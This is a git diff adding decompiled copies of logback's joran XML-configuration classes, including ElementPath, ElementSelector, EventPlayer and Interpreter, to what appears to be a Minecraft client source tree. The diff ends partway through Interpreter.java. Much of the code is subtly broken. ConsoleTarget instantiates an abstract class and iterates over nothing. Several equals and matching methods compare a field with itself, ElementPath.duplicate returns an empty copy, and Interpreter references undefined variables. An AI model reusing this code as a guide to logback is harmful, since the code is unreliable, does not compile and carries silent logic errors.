diff --git a/src/minecraft/ch/qos/logback/core/joran/event/stax/StaxEventRecorder.java b/src/minecraft/ch/qos/logback/core/joran/event/stax/StaxEventRecorder.java
new file mode 100644
index 0000000..a9eedf3
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/core/joran/event/stax/StaxEventRecorder.java
@@ -0,0 +1,115 @@
+package ch.qos.logback.core.joran.event.stax;
+
+import ch.qos.logback.core.Context;
+import ch.qos.logback.core.joran.spi.ElementPath;
+import ch.qos.logback.core.joran.spi.JoranException;
+import ch.qos.logback.core.spi.ContextAwareBase;
+import java.io.InputStream;
+import java.util.ArrayList;
+import java.util.List;
+import javax.xml.namespace.QName;
+import javax.xml.stream.XMLEventReader;
+import javax.xml.stream.XMLInputFactory;
+import javax.xml.stream.XMLStreamException;
+import javax.xml.stream.events.Characters;
+import javax.xml.stream.events.EndElement;
+import javax.xml.stream.events.StartElement;
+import javax.xml.stream.events.XMLEvent;
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class StaxEventRecorder
+  extends ContextAwareBase
+{
+  List<StaxEvent> eventList = new ArrayList();
+  ElementPath globalElementPath = new ElementPath();
+  
+  public StaxEventRecorder(Context context) {
+    setContext(context);
+  }
+  
+  public void recordEvents(InputStream inputStream) throws JoranException {
+    try {
+      XMLEventReader xmlEventReader = XMLInputFactory.newInstance().createXMLEventReader(inputStream);
+      read(xmlEventReader);
+    } catch (XMLStreamException e) {
+      throw new JoranException("Problem parsing XML document. See previously reported errors.", e);
+    }
+  }
+  
+  public List<StaxEvent> getEventList() {
+    return eventList;
+  }
+  
+  private void read(XMLEventReader xmlEventReader) throws XMLStreamException {
+    while (xmlEventReader.hasNext()) {
+      XMLEvent xmlEvent = xmlEventReader.nextEvent();
+      switch (xmlEvent.getEventType()) {
+      case 1: 
+        addStartElement(xmlEvent);
+        break;
+      case 4: 
+        addCharacters(xmlEvent);
+        break;
+      case 2: 
+        addEndEvent(xmlEvent);
+      }
+      
+    }
+  }
+  
+
+  private void addStartElement(XMLEvent xmlEvent)
+  {
+    StartElement se = xmlEvent.asStartElement();
+    String tagName = se.getName().getLocalPart();
+    globalElementPath.push(tagName);
+    ElementPath current = globalElementPath.duplicate();
+    StartEvent startEvent = new StartEvent(current, tagName, se.getAttributes(), se.getLocation());
+    eventList.add(startEvent);
+  }
+  
+  private void addCharacters(XMLEvent xmlEvent) {
+    Characters characters = xmlEvent.asCharacters();
+    StaxEvent lastEvent = getLastEvent();
+    
+    if ((lastEvent instanceof BodyEvent)) {
+      BodyEvent be = (BodyEvent)lastEvent;
+      be.append(characters.getData());
+
+    }
+    else if (!characters.isWhiteSpace()) {
+      BodyEvent bodyEvent = new BodyEvent(characters.getData(), xmlEvent.getLocation());
+      eventList.add(bodyEvent);
+    }
+  }
+  
+  private void addEndEvent(XMLEvent xmlEvent)
+  {
+    EndElement ee = xmlEvent.asEndElement();
+    String tagName = ee.getName().getLocalPart();
+    EndEvent endEvent = new EndEvent(tagName, ee.getLocation());
+    eventList.add(endEvent);
+    globalElementPath.pop();
+  }
+  
+  StaxEvent getLastEvent() {
+    if (eventList.isEmpty()) {
+      return null;
+    }
+    int size = eventList.size();
+    if (size == 0)
+      return null;
+    return (StaxEvent)eventList.get(size - 1);
+  }
+}
diff --git a/src/minecraft/ch/qos/logback/core/joran/node/ComponentNode.java b/src/minecraft/ch/qos/logback/core/joran/node/ComponentNode.java
new file mode 100644
index 0000000..69ef72f
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/core/joran/node/ComponentNode.java
@@ -0,0 +1,8 @@
+package ch.qos.logback.core.joran.node;
+
+public class ComponentNode
+{
+  String classStr;
+  
+  public ComponentNode() {}
+}
diff --git a/src/minecraft/ch/qos/logback/core/joran/spi/ActionException.java b/src/minecraft/ch/qos/logback/core/joran/spi/ActionException.java
new file mode 100644
index 0000000..3be9d6e
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/core/joran/spi/ActionException.java
@@ -0,0 +1,35 @@
+package ch.qos.logback.core.joran.spi;
+
+
+
+
+
+
+
+
+public class ActionException
+  extends Exception
+{
+  private static final long serialVersionUID = 2743349809995319806L;
+  
+
+
+
+
+
+
+
+  public ActionException() {}
+  
+
+
+
+
+
+
+
+  public ActionException(Throwable rootCause)
+  {
+    super(rootCause);
+  }
+}
diff --git a/src/minecraft/ch/qos/logback/core/joran/spi/CAI_WithLocatorSupport.java b/src/minecraft/ch/qos/logback/core/joran/spi/CAI_WithLocatorSupport.java
new file mode 100644
index 0000000..436bb00
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/core/joran/spi/CAI_WithLocatorSupport.java
@@ -0,0 +1,357 @@
+package ch.qos.logback.core.joran.spi;
+
+import ch.qos.logback.core.Context;
+import ch.qos.logback.core.spi.ContextAwareImpl;
+import org.xml.sax.Locator;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+class CAI_WithLocatorSupport
+  extends ContextAwareImpl
+{
+  CAI_WithLocatorSupport(Context context, Interpreter interpreter)
+  {
+    super(context, interpreter);
+  }
+  
+  protected Object getOrigin()
+  {
+    Interpreter i = (Interpreter)super.getOrigin();
+    Locator locator = locator;
+    if (locator != null) {
+      return Interpreter.class.getName() + "@" + locator.getLineNumber() + ":" + locator.getColumnNumber();
+    }
+    
+    return Interpreter.class.getName() + "@NA:NA";
+  }
+}
diff --git a/src/minecraft/ch/qos/logback/core/joran/spi/ConfigurationWatchList.java b/src/minecraft/ch/qos/logback/core/joran/spi/ConfigurationWatchList.java
new file mode 100644
index 0000000..bc12f24
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/core/joran/spi/ConfigurationWatchList.java
@@ -0,0 +1,93 @@
+package ch.qos.logback.core.joran.spi;
+
+import ch.qos.logback.core.spi.ContextAwareBase;
+import java.io.File;
+import java.net.URL;
+import java.net.URLDecoder;
+import java.util.ArrayList;
+import java.util.List;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class ConfigurationWatchList
+  extends ContextAwareBase
+{
+  URL mainURL;
+  
+  public ConfigurationWatchList() {}
+  
+  List<File> fileWatchList = new ArrayList();
+  List<Long> lastModifiedList = new ArrayList();
+  
+  public void clear() {
+    mainURL = null;
+    lastModifiedList.clear();
+    fileWatchList.clear();
+  }
+  
+
+
+
+
+  public void setMainURL(URL mainURL)
+  {
+    this.mainURL = mainURL;
+    if (mainURL != null)
+      addAsFileToWatch(mainURL);
+  }
+  
+  private void addAsFileToWatch(URL url) {
+    File file = convertToFile(url);
+    if (file != null) {
+      fileWatchList.add(file);
+      lastModifiedList.add(Long.valueOf(file.lastModified()));
+    }
+  }
+  
+  public void addToWatchList(URL url) {
+    addAsFileToWatch(url);
+  }
+  
+  public URL getMainURL() {
+    return mainURL;
+  }
+  
+  public List<File> getCopyOfFileWatchList() {
+    return new ArrayList(fileWatchList);
+  }
+  
+  public boolean changeDetected() {
+    int len = fileWatchList.size();
+    for (int i = 0; i < len; i++) {
+      long lastModified = ((Long)lastModifiedList.get(i)).longValue();
+      File file = (File)fileWatchList.get(i);
+      if (lastModified != file.lastModified()) {
+        return true;
+      }
+    }
+    return false;
+  }
+  
+
+  File convertToFile(URL url)
+  {
+    String protocol = url.getProtocol();
+    if ("file".equals(protocol)) {
+      return new File(URLDecoder.decode(url.getFile()));
+    }
+    addInfo("URL [" + url + "] is not of type file");
+    return null;
+  }
+}
diff --git a/src/minecraft/ch/qos/logback/core/joran/spi/ConsoleTarget.java b/src/minecraft/ch/qos/logback/core/joran/spi/ConsoleTarget.java
new file mode 100644
index 0000000..ae1a8c4
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/core/joran/spi/ConsoleTarget.java
@@ -0,0 +1,91 @@
+package ch.qos.logback.core.joran.spi;
+
+import java.io.IOException;
+import java.io.OutputStream;
+import java.io.PrintStream;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public enum ConsoleTarget
+{
+  SystemOut("System.out", new OutputStream()), 
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  SystemErr("System.err", new OutputStream());
+  
+
+
+
+
+
+  private final String name;
+  
+
+
+
+  private final OutputStream stream;
+  
+
+
+
+
+  public static ConsoleTarget findByName(String name)
+  {
+    for (ConsoleTarget target : ) {
+      if (name.equalsIgnoreCase(name)) {
+        return target;
+      }
+    }
+    return null;
+  }
+  
+
+
+  private ConsoleTarget(String name, OutputStream stream)
+  {
+    this.name = name;
+    this.stream = stream;
+  }
+  
+  public String getName() {
+    return name;
+  }
+  
+  public OutputStream getStream() {
+    return stream;
+  }
+}
diff --git a/src/minecraft/ch/qos/logback/core/joran/spi/DefaultClass.java b/src/minecraft/ch/qos/logback/core/joran/spi/DefaultClass.java
new file mode 100644
index 0000000..f7559e0
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/core/joran/spi/DefaultClass.java
@@ -0,0 +1,13 @@
+package ch.qos.logback.core.joran.spi;
+
+import java.lang.annotation.Annotation;
+import java.lang.annotation.Retention;
+import java.lang.annotation.RetentionPolicy;
+import java.lang.annotation.Target;
+
+@Retention(RetentionPolicy.RUNTIME)
+@Target({java.lang.annotation.ElementType.METHOD})
+public @interface DefaultClass
+{
+  Class<?> value();
+}
diff --git a/src/minecraft/ch/qos/logback/core/joran/spi/DefaultNestedComponentRegistry.java b/src/minecraft/ch/qos/logback/core/joran/spi/DefaultNestedComponentRegistry.java
new file mode 100644
index 0000000..964a933
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/core/joran/spi/DefaultNestedComponentRegistry.java
@@ -0,0 +1,52 @@
+package ch.qos.logback.core.joran.spi;
+
+import java.util.HashMap;
+import java.util.Map;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class DefaultNestedComponentRegistry
+{
+  public DefaultNestedComponentRegistry() {}
+  
+  Map<HostClassAndPropertyDouble, Class<?>> defaultComponentMap = new HashMap();
+  
+  public void add(Class<?> hostClass, String propertyName, Class<?> componentClass) {
+    HostClassAndPropertyDouble hpDouble = new HostClassAndPropertyDouble(hostClass, propertyName.toLowerCase());
+    
+    defaultComponentMap.put(hpDouble, componentClass);
+  }
+  
+  public Class<?> findDefaultComponentType(Class<?> hostClass, String propertyName) {
+    propertyName = propertyName.toLowerCase();
+    while (hostClass != null) {
+      Class<?> componentClass = oneShotFind(hostClass, propertyName);
+      if (componentClass != null) {
+        return componentClass;
+      }
+      hostClass = hostClass.getSuperclass();
+    }
+    return null;
+  }
+  
+  private Class<?> oneShotFind(Class<?> hostClass, String propertyName) {
+    HostClassAndPropertyDouble hpDouble = new HostClassAndPropertyDouble(hostClass, propertyName);
+    
+    return (Class)defaultComponentMap.get(hpDouble);
+  }
+}
diff --git a/src/minecraft/ch/qos/logback/core/joran/spi/ElementPath.java b/src/minecraft/ch/qos/logback/core/joran/spi/ElementPath.java
new file mode 100644
index 0000000..05f5f97
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/core/joran/spi/ElementPath.java
@@ -0,0 +1,135 @@
+package ch.qos.logback.core.joran.spi;
+
+import java.util.ArrayList;
+import java.util.List;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class ElementPath
+{
+  ArrayList<String> partList = new ArrayList();
+  
+  public ElementPath() {}
+  
+  public ElementPath(List<String> list)
+  {
+    partList.addAll(list);
+  }
+  
+
+
+
+
+  public ElementPath(String pathStr)
+  {
+    if (pathStr == null) {
+      return;
+    }
+    
+    String[] partArray = pathStr.split("/");
+    if (partArray == null) { return;
+    }
+    for (String part : partArray) {
+      if (part.length() > 0) {
+        partList.add(part);
+      }
+    }
+  }
+  
+  public ElementPath duplicate() {
+    ElementPath p = new ElementPath();
+    partList.addAll(partList);
+    return p;
+  }
+  
+
+  public boolean equals(Object o)
+  {
+    if ((o == null) || (!(o instanceof ElementPath))) {
+      return false;
+    }
+    
+    ElementPath r = (ElementPath)o;
+    
+    if (r.size() != size()) {
+      return false;
+    }
+    
+    int len = size();
+    
+    for (int i = 0; i < len; i++) {
+      if (!equalityCheck(get(i), r.get(i))) {
+        return false;
+      }
+    }
+    
+
+    return true;
+  }
+  
+  private boolean equalityCheck(String x, String y) {
+    return x.equalsIgnoreCase(y);
+  }
+  
+  public List<String> getCopyOfPartList() {
+    return new ArrayList(partList);
+  }
+  
+  public void push(String s) {
+    partList.add(s);
+  }
+  
+  public String get(int i) {
+    return (String)partList.get(i);
+  }
+  
+  public void pop() {
+    if (!partList.isEmpty()) {
+      partList.remove(partList.size() - 1);
+    }
+  }
+  
+  public String peekLast() {
+    if (!partList.isEmpty()) {
+      int size = partList.size();
+      return (String)partList.get(size - 1);
+    }
+    return null;
+  }
+  
+  public int size()
+  {
+    return partList.size();
+  }
+  
+  protected String toStableString()
+  {
+    StringBuilder result = new StringBuilder();
+    for (String current : partList) {
+      result.append("[").append(current).append("]");
+    }
+    return result.toString();
+  }
+  
+  public String toString()
+  {
+    return toStableString();
+  }
+}
diff --git a/src/minecraft/ch/qos/logback/core/joran/spi/ElementSelector.java b/src/minecraft/ch/qos/logback/core/joran/spi/ElementSelector.java
new file mode 100644
index 0000000..c077814
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/core/joran/spi/ElementSelector.java
@@ -0,0 +1,181 @@
+package ch.qos.logback.core.joran.spi;
+
+import java.util.ArrayList;
+import java.util.List;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class ElementSelector
+  extends ElementPath
+{
+  public ElementSelector() {}
+  
+  public ElementSelector(List<String> list)
+  {
+    super(list);
+  }
+  
+
+
+
+
+
+  public ElementSelector(String p)
+  {
+    super(p);
+  }
+  
+  public boolean fullPathMatch(ElementPath path) {
+    if (path.size() != size()) {
+      return false;
+    }
+    
+    int len = size();
+    for (int i = 0; i < len; i++) {
+      if (!equalityCheck(get(i), path.get(i))) {
+        return false;
+      }
+    }
+    
+    return true;
+  }
+  
+
+
+
+
+  public int getTailMatchLength(ElementPath p)
+  {
+    if (p == null) {
+      return 0;
+    }
+    
+    int lSize = partList.size();
+    int rSize = partList.size();
+    
+
+    if ((lSize == 0) || (rSize == 0)) {
+      return 0;
+    }
+    
+    int minLen = lSize <= rSize ? lSize : rSize;
+    int match = 0;
+    
+
+    for (int i = 1; i <= minLen; i++) {
+      String l = (String)partList.get(lSize - i);
+      String r = (String)partList.get(rSize - i);
+      
+      if (!equalityCheck(l, r)) break;
+      match++;
+    }
+    
+
+
+    return match;
+  }
+  
+  public boolean isContainedIn(ElementPath p) {
+    if (p == null) {
+      return false;
+    }
+    return p.toStableString().contains(toStableString());
+  }
+  
+
+
+
+
+
+  public int getPrefixMatchLength(ElementPath p)
+  {
+    if (p == null) {
+      return 0;
+    }
+    
+    int lSize = partList.size();
+    int rSize = partList.size();
+    
+
+    if ((lSize == 0) || (rSize == 0)) {
+      return 0;
+    }
+    
+    int minLen = lSize <= rSize ? lSize : rSize;
+    int match = 0;
+    
+    for (int i = 0; i < minLen; i++) {
+      String l = (String)partList.get(i);
+      String r = (String)partList.get(i);
+      
+      if (!equalityCheck(l, r)) break;
+      match++;
+    }
+    
+
+
+
+    return match;
+  }
+  
+  private boolean equalityCheck(String x, String y) {
+    return x.equalsIgnoreCase(y);
+  }
+  
+  public boolean equals(Object o)
+  {
+    if ((o == null) || (!(o instanceof ElementSelector))) {
+      return false;
+    }
+    
+    ElementSelector r = (ElementSelector)o;
+    
+    if (r.size() != size()) {
+      return false;
+    }
+    
+    int len = size();
+    
+    for (int i = 0; i < len; i++) {
+      if (!equalityCheck(get(i), r.get(i))) {
+        return false;
+      }
+    }
+    
+
+    return true;
+  }
+  
+  public int hashCode()
+  {
+    int hc = 0;
+    int len = size();
+    
+    for (int i = 0; i < len; i++)
+    {
+
+      hc ^= get(i).toLowerCase().hashCode();
+    }
+    return hc;
+  }
+}
diff --git a/src/minecraft/ch/qos/logback/core/joran/spi/EventPlayer.java b/src/minecraft/ch/qos/logback/core/joran/spi/EventPlayer.java
new file mode 100644
index 0000000..13706c1
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/core/joran/spi/EventPlayer.java
@@ -0,0 +1,71 @@
+package ch.qos.logback.core.joran.spi;
+
+import ch.qos.logback.core.joran.event.BodyEvent;
+import ch.qos.logback.core.joran.event.EndEvent;
+import ch.qos.logback.core.joran.event.SaxEvent;
+import ch.qos.logback.core.joran.event.StartEvent;
+import java.util.ArrayList;
+import java.util.List;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class EventPlayer
+{
+  final Interpreter interpreter;
+  List<SaxEvent> eventList;
+  int currentIndex;
+  
+  public EventPlayer(Interpreter interpreter)
+  {
+    this.interpreter = interpreter;
+  }
+  
+
+
+
+
+  public List<SaxEvent> getCopyOfPlayerEventList()
+  {
+    return new ArrayList(eventList);
+  }
+  
+  public void play(List<SaxEvent> aSaxEventList) {
+    eventList = aSaxEventList;
+    
+    for (currentIndex = 0; currentIndex < eventList.size(); currentIndex += 1) {
+      SaxEvent se = (SaxEvent)eventList.get(currentIndex);
+      
+      if ((se instanceof StartEvent)) {
+        interpreter.startElement((StartEvent)se);
+        
+        interpreter.getInterpretationContext().fireInPlay(se);
+      }
+      if ((se instanceof BodyEvent))
+      {
+        interpreter.getInterpretationContext().fireInPlay(se);
+        interpreter.characters((BodyEvent)se);
+      }
+      if ((se instanceof EndEvent))
+      {
+        interpreter.getInterpretationContext().fireInPlay(se);
+        interpreter.endElement((EndEvent)se);
+      }
+    }
+  }
+  
+  public void addEventsDynamically(List<SaxEvent> eventList, int offset)
+  {
+    this.eventList.addAll(currentIndex + offset, eventList);
+  }
+}
diff --git a/src/minecraft/ch/qos/logback/core/joran/spi/HostClassAndPropertyDouble.java b/src/minecraft/ch/qos/logback/core/joran/spi/HostClassAndPropertyDouble.java
new file mode 100644
index 0000000..4a85dca
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/core/joran/spi/HostClassAndPropertyDouble.java
@@ -0,0 +1,75 @@
+package ch.qos.logback.core.joran.spi;
+
+
+
+
+
+
+
+
+
+public class HostClassAndPropertyDouble
+{
+  final Class<?> hostClass;
+  
+
+
+
+
+
+
+  final String propertyName;
+  
+
+
+
+
+
+
+
+  public HostClassAndPropertyDouble(Class<?> hostClass, String propertyName)
+  {
+    this.hostClass = hostClass;
+    this.propertyName = propertyName;
+  }
+  
+  public Class<?> getHostClass() {
+    return hostClass;
+  }
+  
+  public String getPropertyName() {
+    return propertyName;
+  }
+  
+  public int hashCode()
+  {
+    int prime = 31;
+    int result = 1;
+    result = 31 * result + (hostClass == null ? 0 : hostClass.hashCode());
+    result = 31 * result + (propertyName == null ? 0 : propertyName.hashCode());
+    
+    return result;
+  }
+  
+  public boolean equals(Object obj)
+  {
+    if (this == obj)
+      return true;
+    if (obj == null)
+      return false;
+    if (getClass() != obj.getClass())
+      return false;
+    HostClassAndPropertyDouble other = (HostClassAndPropertyDouble)obj;
+    if (hostClass == null) {
+      if (hostClass != null)
+        return false;
+    } else if (!hostClass.equals(hostClass))
+      return false;
+    if (propertyName == null) {
+      if (propertyName != null)
+        return false;
+    } else if (!propertyName.equals(propertyName))
+      return false;
+    return true;
+  }
+}
diff --git a/src/minecraft/ch/qos/logback/core/joran/spi/InterpretationContext.java b/src/minecraft/ch/qos/logback/core/joran/spi/InterpretationContext.java
new file mode 100644
index 0000000..3864153
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/core/joran/spi/InterpretationContext.java
@@ -0,0 +1,186 @@
+package ch.qos.logback.core.joran.spi;
+
+import ch.qos.logback.core.Context;
+import ch.qos.logback.core.joran.event.InPlayListener;
+import ch.qos.logback.core.joran.event.SaxEvent;
+import ch.qos.logback.core.spi.ContextAwareBase;
+import ch.qos.logback.core.spi.PropertyContainer;
+import ch.qos.logback.core.util.OptionHelper;
+import java.util.ArrayList;
+import java.util.HashMap;
+import java.util.List;
+import java.util.Map;
+import java.util.Properties;
+import java.util.Stack;
+import org.xml.sax.Locator;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class InterpretationContext
+  extends ContextAwareBase
+  implements PropertyContainer
+{
+  Stack<Object> objectStack;
+  Map<String, Object> objectMap;
+  Map<String, String> propertiesMap;
+  Interpreter joranInterpreter;
+  final List<InPlayListener> listenerList = new ArrayList();
+  DefaultNestedComponentRegistry defaultNestedComponentRegistry = new DefaultNestedComponentRegistry();
+  
+  public InterpretationContext(Context context, Interpreter joranInterpreter) {
+    this.context = context;
+    this.joranInterpreter = joranInterpreter;
+    objectStack = new Stack();
+    objectMap = new HashMap(5);
+    propertiesMap = new HashMap(5);
+  }
+  
+  public DefaultNestedComponentRegistry getDefaultNestedComponentRegistry()
+  {
+    return defaultNestedComponentRegistry;
+  }
+  
+  public Map<String, String> getCopyOfPropertyMap() {
+    return new HashMap(propertiesMap);
+  }
+  
+  void setPropertiesMap(Map<String, String> propertiesMap) {
+    this.propertiesMap = propertiesMap;
+  }
+  
+  String updateLocationInfo(String msg) {
+    Locator locator = joranInterpreter.getLocator();
+    
+    if (locator != null) {
+      return msg + locator.getLineNumber() + ":" + locator.getColumnNumber();
+    }
+    return msg;
+  }
+  
+  public Locator getLocator()
+  {
+    return joranInterpreter.getLocator();
+  }
+  
+  public Interpreter getJoranInterpreter() {
+    return joranInterpreter;
+  }
+  
+  public Stack<Object> getObjectStack() {
+    return objectStack;
+  }
+  
+  public boolean isEmpty() {
+    return objectStack.isEmpty();
+  }
+  
+  public Object peekObject() {
+    return objectStack.peek();
+  }
+  
+  public void pushObject(Object o) {
+    objectStack.push(o);
+  }
+  
+  public Object popObject() {
+    return objectStack.pop();
+  }
+  
+  public Object getObject(int i) {
+    return objectStack.get(i);
+  }
+  
+  public Map<String, Object> getObjectMap() {
+    return objectMap;
+  }
+  
+
+
+
+  public void addSubstitutionProperty(String key, String value)
+  {
+    if ((key == null) || (value == null)) {
+      return;
+    }
+    
+    value = value.trim();
+    propertiesMap.put(key, value);
+  }
+  
+  public void addSubstitutionProperties(Properties props) {
+    if (props == null) {
+      return;
+    }
+    for (Object keyObject : props.keySet()) {
+      String key = (String)keyObject;
+      String val = props.getProperty(key);
+      addSubstitutionProperty(key, val);
+    }
+  }
+  
+
+
+
+  public String getProperty(String key)
+  {
+    String v = (String)propertiesMap.get(key);
+    if (v != null) {
+      return v;
+    }
+    return context.getProperty(key);
+  }
+  
+  public String subst(String value)
+  {
+    if (value == null) {
+      return null;
+    }
+    return OptionHelper.substVars(value, this, context);
+  }
+  
+
+
+  public boolean isListenerListEmpty()
+  {
+    return listenerList.isEmpty();
+  }
+  
+  public void addInPlayListener(InPlayListener ipl) {
+    if (listenerList.contains(ipl)) {
+      addWarn("InPlayListener " + ipl + " has been already registered");
+    } else {
+      listenerList.add(ipl);
+    }
+  }
+  
+  public boolean removeInPlayListener(InPlayListener ipl) {
+    return listenerList.remove(ipl);
+  }
+  
+  void fireInPlay(SaxEvent event) {
+    for (InPlayListener ipl : listenerList) {
+      ipl.inPlay(event);
+    }
+  }
+}
diff --git a/src/minecraft/ch/qos/logback/core/joran/spi/Interpreter.java b/src/minecraft/ch/qos/logback/core/joran/spi/Interpreter.java
new file mode 100644
index 0000000..c8ec70c
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/core/joran/spi/Interpreter.java
@@ -0,0 +1,332 @@
+package ch.qos.logback.core.joran.spi;
+
+import ch.qos.logback.core.Context;
+import ch.qos.logback.core.joran.action.Action;
+import ch.qos.logback.core.joran.action.ImplicitAction;
+import ch.qos.logback.core.joran.event.BodyEvent;
+import ch.qos.logback.core.joran.event.EndEvent;
+import ch.qos.logback.core.joran.event.StartEvent;
+import java.util.ArrayList;
+import java.util.Iterator;
+import java.util.List;
+import java.util.Map;
+import java.util.Stack;
+import java.util.Vector;
+import org.xml.sax.Attributes;
+import org.xml.sax.Locator;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class Interpreter
+{
+  private static List<Action> EMPTY_LIST = new Vector(0);
+  
+
+  private final RuleStore ruleStore;
+  
+
+  private final InterpretationContext interpretationContext;
+  
+
+  private final ArrayList<ImplicitAction> implicitActions;
+  
+
+  private final CAI_WithLocatorSupport cai;
+  
+
+  private ElementPath elementPath;
+  
+
+  Locator locator;
+  
+  EventPlayer eventPlayer;
+  
+  Stack<List<Action>> actionListStack;
+  
+  ElementPath skip = null;
+  
+  public Interpreter(Context context, RuleStore rs, ElementPath initialElementPath) {
+    cai = new CAI_WithLocatorSupport(context, this);
+    ruleStore = rs;
+    interpretationContext = new InterpretationContext(context, this);
+    implicitActions = new ArrayList(3);
+    elementPath = initialElementPath;
+    actionListStack = new Stack();
+    eventPlayer = new EventPlayer(this);
+  }
+  
+  public EventPlayer getEventPlayer() {
+    return eventPlayer;
+  }
+  
+  public void setInterpretationContextPropertiesMap(Map<String, String> propertiesMap)
+  {
+    interpretationContext.setPropertiesMap(propertiesMap);
+  }
+  
+  /**
+   * @deprecated
+   */
+  public InterpretationContext getExecutionContext() {
+    return getInterpretationContext();
+  }
+  
+  public InterpretationContext getInterpretationContext() {
+    return interpretationContext;
+  }
+  
+  public void startDocument() {}
+  
+  public void startElement(StartEvent se)
+  {
+    setDocumentLocator(se.getLocator());
+    startElement(namespaceURI, localName, qName, attributes);
+  }
+  
+
+  private void startElement(String namespaceURI, String localName, String qName, Attributes atts)
+  {
+    String tagName = getTagName(localName, qName);
+    elementPath.push(tagName);
+    
+    if (skip != null)
+    {
+      pushEmptyActionList();
+      return;
+    }
+    
+    List<Action> applicableActionList = getApplicableActionList(elementPath, atts);
+    if (applicableActionList != null) {
+      actionListStack.add(applicableActionList);
+      callBeginAction(applicableActionList, tagName, atts);
+    }
+    else {
+      pushEmptyActionList();
+      String errMsg = "no applicable action for [" + tagName + "], current ElementPath  is [" + elementPath + "]";
+      
+      cai.addError(errMsg);
+    }
+  }
+  
+
+
+  private void pushEmptyActionList()
+  {
+    actionListStack.add(EMPTY_LIST);
+  }
+  
+  public void characters(BodyEvent be)
+  {
+    setDocumentLocator(locator);
+    
+    String body = be.getText();
+    List<Action> applicableActionList = (List)actionListStack.peek();
+    
+    if (body != null) {
+      body = body.trim();
+      if (body.length() > 0)
+      {
+        callBodyAction(applicableActionList, body);
+      }
+    }
+  }
+  
+  public void endElement(EndEvent endEvent) {
+    setDocumentLocator(locator);
+    endElement(namespaceURI, localName, qName);
+  }
+  
+
+
+  private void endElement(String namespaceURI, String localName, String qName)
+  {
+    List<Action> applicableActionList = (List)actionListStack.pop();
+    
+    if (skip != null) {
+      if (skip.equals(elementPath)) {
+        skip = null;
+      }
+    } else if (applicableActionList != EMPTY_LIST) {
+      callEndAction(applicableActionList, getTagName(localName, qName));
+    }
+    
+
+    elementPath.pop();
+  }
+  
+  public Locator getLocator() {
+    return locator;
+  }
+  
+  public void setDocumentLocator(Locator l) {
+    locator = l;
+  }
+  
+  String getTagName(String localName, String qName) {
+    String tagName = localName;
+    
+    if ((tagName == null) || (tagName.length() < 1)) {
+      tagName = qName;
+    }
+    
+    return tagName;
+  }
+  
+  public void addImplicitAction(ImplicitAction ia) {
+    implicitActions.add(ia);
+  }
+  
+
+
+
+
+
+  List<Action> lookupImplicitAction(ElementPath elementPath, Attributes attributes, InterpretationContext ec)
+  {
+    int len = implicitActions.size();
+    
+    for (int i = 0; i < len; i++) {
+      ImplicitAction ia = (ImplicitAction)implicitActions.get(i);
+      
+      if (ia.isApplicable(elementPath, attributes, ec)) {
+        List<Action> actionList = new ArrayList(1);
+        actionList.add(ia);
+        
+        return actionList;
+      }
+    }
+    
+    return null;
+  }
+  
+
+
+  List<Action> getApplicableActionList(ElementPath elementPath, Attributes attributes)
+  {
+    List<Action> applicableActionList = ruleStore.matchActions(elementPath);
+    
+
+    if (applicableActionList == null) {
+      applicableActionList = lookupImplicitAction(elementPath, attributes, interpretationContext);
+    }
+    
+
+    return applicableActionList;
+  }
+  
+  void callBeginAction(List<Action> applicableActionList, String tagName, Attributes atts)
+  {
+    if (applicableActionList == null) {
+      return;
+    }
+    
+    Iterator<Action> i = applicableActionList.iterator();
+    while (i.hasNext()) {
+      Action action = (Action)i.next();
+      
+      try
+      {
+        action.begin(interpretationContext, tagName, atts);
+      } catch (ActionException e) {
+        skip = elementPath.duplicate();
